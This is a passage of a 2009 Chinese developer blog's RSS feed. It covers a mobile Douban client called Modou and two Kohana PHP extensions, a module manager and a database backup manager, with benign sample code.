<p>于是，自己何不使用豆瓣API开发一个呢？紧接着通过查阅大量的文档和官方提供的演示代码，抛弃 Zend Framework 和 Gdata，使用自己维护中文化的 <a title="Kohana 中文爱好者" href="http://khnfans.cn" target="_blank">Kohana </a>框架，一点一点的搭建起了基础库，通过一个星期多的时间，开始一边做页面的展现，另一边继续完善基础库，直到目前为止，大体的框架已经完成，下面需要考虑如何对细节做修改和完善。</p>
<p>另外，由于 PHP 没有低耦合的 HTTP requset class，自己使用 curl 函数一点点抠出来的一个 RESTFul requset class，在进行提交 POST，PUT，DELETE 方法还存在一些技术问题，所以魔豆目前还不支持对书影音，同城活动进行操作（包含，想读/听/看，感兴趣，我要参加等等），我会尽快完善。</p>
<p>开发环境： <strong>Windows XP + XAMPP + E-texteditor</strong> (Office work) AND <strong>Ubuntu 9.04 + XAMPP + Aptana</strong> (Laptop)</p>
<p>调试设备：iPod Touch + Blackberry 8310 + Nokia N-GAGE QD</p>
<p>由于设备有限，可能在其他设备上会出现设备误判或UI上的问题（大家可以在本日志下面留下误判设备型号），敬请谅解。后期会对不同设备进行专门的优化 <img src='http://icyleaf.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>网站：<a href="http://modou.us" target="_blank">http://modou.us</a></p>
<p>开发进度：<a href="http://modou.us/timeline" target="_blank">http://modou.us/timeline</a></p>
<p>相关截图：<a href="http://www.getdropbox.com/gallery/45081/1/modou?h=b26d7e" target="_blank">http://www.getdropbox.com/gallery/45081/1/modou?h=b26d7e</a></p>
<p>欢迎大家前来测试和使用，心情愉快。</p>
<blockquote><p>更新于 2009年06月22日：由于China Mobile的原因，黑莓手机默认浏览器无法判别，请黑莓用户使用 Opera Mini 或其他浏览器访问，原因请看<a href="http://www.douban.com/group/topic/6946152/" target="_blank">这里</a>。</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2009/06/modou/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Modules Library 和 DBManager Module</title>
		<link>http://icyleaf.com/2009/03/modules-helper-and-dbmanager-module/</link>
		<comments>http://icyleaf.com/2009/03/modules-helper-and-dbmanager-module/#comments</comments>
		<pubDate>Thu, 05 Mar 2009 09:02:36 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[Kohana]]></category>
		<category><![CDATA[Libraries]]></category>
		<category><![CDATA[Modules]]></category>

		<guid isPermaLink="false">http://icyleaf.com/?p=565</guid>
		<description><![CDATA[或许大家可能有了解到，本人目前一直在对 Kohana 这个纯 PHP5 框架进行文档翻译和维护，同时也建立一个站点：Kohana爱好者。 站点提供中文化的文档，包含中文语言包的中文镜像下载支持以及中文化论坛。Kohana  凭借着基于 CodeIgniter 框架+PHP5，赢得了一群使用者，我也希望无论是国外的还是国内的使用者都能共享自己的力量。 恩&#8230;以上算是给自己打个广告。Modules Library 和 DBManager Module 均是为 Kohana 框架编写的，以后会根据自己和大家的寻求做适当的更新。 Modules Library，中文译为 扩展管理库，是一个方便管理 Kohana 系统自身扩展配置的库类，通过它使用代码就可以轻松实现获取当前所有 Modules 信息，已激活的 Moduels， 未激活的 Modules，最重要的是还可以添加 Modules，激活和关闭 Module。 范例代码： // Instance Module library $module = Module::instance(); // list all &#8230; <a href="http://icyleaf.com/2009/03/modules-helper-and-dbmanager-module/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>或许大家可能有了解到，本人目前一直在对 <a href="http://kohanaphp.com" target="_self">Kohana </a>这个纯 PHP5 框架进行文档翻译和维护，同时也建立一个站点：<a title="Kohana爱好者" href="http://khnfans.cn/" target="_self">Kohana爱好者</a>。 站点提供中文化的文档，包含中文语言包的中文镜像下载支持以及中文化论坛。Kohana  凭借着基于 CodeIgniter 框架+PHP5，赢得了一群使用者，我也希望无论是国外的还是国内的使用者都能共享自己的力量。</p>
<p>恩&#8230;以上算是给自己打个广告。Modules Library 和 DBManager Module 均是为 Kohana 框架编写的，以后会根据自己和大家的寻求做适当的更新。</p>
<p><span id="more-565"></span><br />
<strong>Modules Library</strong>，中文译为 扩展管理库，是一个方便管理 Kohana 系统自身扩展配置的库类，通过它使用代码就可以轻松实现获取当前所有 Modules 信息，已激活的 Moduels， 未激活的 Modules，最重要的是还可以添加 Modules，激活和关闭 Module。</p>
<p>范例代码：</p>
<pre lang="php" line="1" colla="+">
// Instance Module library
$module = Module::instance();

// list all modules of application in application/config/config.php
echo Kohana::debug($module->list_all());

// list active modules of application in application/config/config.php
echo Kohana::debug($module->list_active());

// list inactive modules of application in application/config/config.php
echo Kohana::debug($module->list_inactive());

// active 'auth' module
$module->active('auth');

// inactive 'auth' module
$module->inactive('auth');

// add 'sample_module' module with description.
$module->add('sample_module', 'Just a sample module');
</pre>
<p><strong>DBManager Module </strong>灵感来自 WordPress 插件 WP_DBManager，就连名字都很类似，其实对于其功能也是按照它实现。哈哈～～</p>
<p>目前对于此扩展实现的功能如下：</p>
<ul>
<li>获得当前 Mysql 版本以及 Kohana 连接数据库等信息</li>
<li>获取当前所有表数据</li>
<li>备份数据库（支持Gzip压缩和自动备份）</li>
<li>优化数据库（支持自动优化）</li>
<li>修复数据库</li>
<li>获得，下载，删除数据库备份文件</li>
</ul>
<p>此扩展支持配置和 i18n，以及对目前来说一个简易的演示页面。</p>
<p>目前还没有对实现自动备份后进行 Email 通知的功能，以及以后会对多种数据库支持。和限制最大化数据库备份文件。至于是否可以在进行数据库表数据的操作（比如查询，删除表，修改表等）是否还需要支持？</p>
<p>以后对自己发布的 Kohana 相关的代码都会托管在 Google Code 上面，地址：<a href="http://code.google.com/p/kohana-fans-cn/">http://code.google.com/p/kohana-fans-cn/</a></p>
<blockquote><p>
Hi, Don&#8217;t understand Chinese? ok, No problem. Here to view <a href="http://forum.kohanaphp.com/comments.php?DiscussionID=2117&#038;page=1">Modules Library</a> and <a href="http://forum.kohanaphp.com/comments.php?DiscussionID=2156&#038;page=1">DBManager Module</a>
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2009/03/modules-helper-and-dbmanager-module/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

